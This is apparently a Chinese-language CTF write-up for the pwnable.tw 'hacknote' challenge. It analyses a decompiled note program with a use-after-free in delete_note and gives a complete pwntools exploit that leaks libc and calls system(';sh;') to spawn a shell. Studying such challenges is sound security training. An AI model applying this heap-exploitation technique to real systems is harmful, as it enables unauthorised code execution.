Pwnable.tw-hacknote

2024-08-20

pwnable.tw-hacknote

Author: 堇姬Naup

code analyze

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void __cdecl __noreturn main()
{
int v0; // eax
int v1; // [esp-Ch] [ebp-24h]
int v2; // [esp-8h] [ebp-20h]
int v3; // [esp-4h] [ebp-1Ch]
char v4[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v5; // [esp+Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, v4, 4);
v0 = atoi(v4);
if ( v0 != 2 )
break;
delete_note();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
print_note();
}
else
{
if ( v0 == 4 )
exit(0, v1, v2, v3);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v0 != 1 )
goto LABEL_13;
add_note();
}
}
}

add_note

可以輸入三項東西

  • note_size -> malloc大小note_size
  • content -> 內容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
unsigned int add_note()
{
int v0; // ebx
int v2; // [esp-Ch] [ebp-34h]
int v3; // [esp-Ch] [ebp-34h]
int v4; // [esp-8h] [ebp-30h]
int v5; // [esp-8h] [ebp-30h]
int v6; // [esp-4h] [ebp-2Ch]
int i; // [esp+Ch] [ebp-1Ch]
int v8; // [esp+10h] [ebp-18h]
char v9[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v10; // [esp+1Ch] [ebp-Ch]

v10 = __readgsdword(0x14u);
if ( note_cnt <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !chunk_ptr[i] )
{
chunk_ptr[i] = malloc(8);
if ( !chunk_ptr[i] )
{
puts("Alloca Error");
exit(-1, v2, v4, v6);
}
*(_DWORD *)chunk_ptr[i] = sub_804862B;
printf("Note size :");
read(0, v9, 8);
v8 = atoi(v9);
v0 = chunk_ptr[i];
*(_DWORD *)(v0 + 4) = malloc(v8);
if ( !*(_DWORD *)(chunk_ptr[i] + 4) )
{
puts("Alloca Error");
exit(-1, v3, v5, v6);
}
printf("Content :");
read(0, *(_DWORD *)(chunk_ptr[i] + 4), v8);
puts("Success !");
++note_cnt;
return __readgsdword(0x14u) ^ v10;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v10;
}

gdb 進去add note看看,發現了一個chunk有8 byte資料
前四byte -> 0x0804862b -> puts content
後四byte -> 0x0804b1b0(pointer) -> 另一個chunk
接下來malloc一個你自己設定大小的chunk

1
2
3
4
5
6
7
8
pwndbg> x/30xw 0x804b198
0x804b198: 0x00000000 0x00000011 0x0804862b 0x0804b1b0
0x804b1a8: 0x00000000 0x00000031 0x61616161 0x62626262
0x804b1b8: 0x63636363 0x64646464 0x65656565 0x0000000a
0x804b1c8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b1d8: 0x00000000 0x00021e29 0x00000000 0x00000000
0x804b1e8: 0x00000000 0x00000000 0x00000000 0x00000000
...

所以要印出的時候,就是去調用puts content,印出後四byte指向的地方

1
2
3
4
5
6
7
8
9
10
11
12
.text:0804862B                 push    ebp
.text:0804862C mov ebp, esp
.text:0804862E sub esp, 8
.text:08048631 mov eax, [ebp+arg_0]
.text:08048634 mov eax, [eax+4]
.text:08048637 sub esp, 0Ch
.text:0804863A push eax
.text:0804863B call _puts
.text:08048640 add esp, 10h
.text:08048643 nop
.text:08048644 leave
.text:08048645 retn

delete_note

輸入一個index

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned int delete_note()
{
int v1; // [esp-Ch] [ebp-24h]
int v2; // [esp-8h] [ebp-20h]
int v3; // [esp-4h] [ebp-1Ch]
int v4; // [esp+4h] [ebp-14h]
char v5[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v6; // [esp+Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
printf("Index :");
read(0, v5, 4);
v4 = atoi(v5);
if ( v4 < 0 || v4 >= note_cnt )
{
puts("Out of bound!");
_exit(0, v1, v2, v3);
}
if ( chunk_ptr[v4] )
{
free(*(_DWORD *)(chunk_ptr[v4] + 4));
free(chunk_ptr[v4]);
puts("Success");
}
return __readgsdword(0x14u) ^ v6;
}

一次free掉兩塊,並且他沒有清空ptr,所以有double free的問題

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned int print_note()
{
int v1; // [esp-Ch] [ebp-24h]
int v2; // [esp-8h] [ebp-20h]
int v3; // [esp-4h] [ebp-1Ch]
int v4; // [esp+4h] [ebp-14h]
char v5[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v6; // [esp+Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
printf("Index :");
read(0, v5, 4);
v4 = atoi(v5);
if ( v4 < 0 || v4 >= note_cnt )
{
puts("Out of bound!");
_exit(0, v1, v2, v3);
}
if ( chunk_ptr[v4] )
(*(void (__cdecl **)(int))chunk_ptr[v4])(chunk_ptr[v4]);
return __readgsdword(0x14u) ^ v6;
}

印出內容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :1
Note size :32
Content :aaaabbbbcccc
Success !
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :3
Index :0
aaaabbbbcccc

分析

glibc 2.23

先patchelf把給的libc跟ld patch上去

開NX跟

可以用unsorted bin來leak libc,先malloc一塊unsorted bin,free掉後他會指回entry,所以你malloc出來在印出libc就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
from NAUP_pwn_lib import *
import time

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

#context(arch = 'amd64', os = 'linux')
REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./hacknote')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10102")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### heap I/O
def add_note(size,content):
sla(b'Your choice :',b'1')
sla(b'Note size :',str(size).encode())
sa(b'Content :',content.encode())

def delete_note(idx):
sla(b'Your choice :',b'2')
sla(b'Index :',str(idx).encode())

def print_note(idx):
sla(b'Your choice :',b'3')
sla(b'Index :',str(idx).encode())

p_c(r,'b *0x080489EF')

### exploit
add_note(0x430,'aaaa')
add_note(0x20,'bbbb')

delete_note(0)

add_note(0x430,'cccc')

print_note(2)

leak_libc = u32(r.recv(8)[4:8])
libc_base = leak_libc - 0x1b07b0

NAUPINFO('LEAKLIBC',hex(leak_libc))
NAUPINFO('LIBCBASE',hex(libc_base))
###
ita()

接下來只要能夠嘗試寫掉
前四byte -> 0x0804862b -> puts content
成libc system,那就可以跳到libc上,並且後4byte指向的位置改成sh(由於要4byte,可以用;sh;)

所以這題關鍵就變成了,如何控前面有puts_contenet跟pointer的chunk,他是一個malloc(0x8)大小的chunk,把他free掉後,如果我們add_note(0x8)一個chunk,就可以拿到
把puts content改寫成system libc,然後把pointer指的位置寫成;sh;,最後print_note,就可以觸發system(‘;sh;’)

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
from NAUP_pwn_lib import *
import time

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

#context(arch = 'amd64', os = 'linux')
REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./hacknote')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10102")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### heap I/O
def add_note(size,content):
sla(b'Your choice :',b'1')
sla(b'Note size :',str(size).encode())
sa(b'Content :',content)

def delete_note(idx):
sla(b'Your choice :',b'2')
sla(b'Index :',str(idx).encode())

def print_note(idx):
sla(b'Your choice :',b'3')
sla(b'Index :',str(idx).encode())

#p_c(r,'b *0x080489EF')

### exploit
add_note(0x80,b'aaaa')
add_note(0x20,b'bbbb')

delete_note(0)

add_note(0x80,b'cccc')

print_note(0)

leak_libc = u32(r.recv(8)[4:8])
libc_base = leak_libc - 0x1b07b0

NAUPINFO('LEAKLIBC',hex(leak_libc))
NAUPINFO('LIBCBASE',hex(libc_base))

system_offset = 0x3a940
libc_system = system_offset + libc_base

delete_note(0)

delete_note(1)


add_note(8,p32(libc_system)+b';sh;')
NAUPINFO('SYSTEM',hex(libc_system))

print_note(0)

###
ita()